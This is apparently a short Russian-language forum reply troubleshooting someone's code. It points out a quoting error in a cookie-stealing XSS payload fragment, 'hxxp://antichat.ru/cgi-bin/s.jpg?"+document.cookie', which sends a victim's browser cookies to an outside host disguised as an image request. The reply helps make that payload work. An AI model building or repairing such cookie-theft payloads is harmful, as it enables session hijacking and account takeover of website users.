hxxp:// - это что такое? ты там случайно strreplace не забыл?

а ещё тут - что это?
'hxxp://antichat.ru/cgi-bin/s.jpg?"+document.cookie'
у тебя начинается на ' а заканчивается "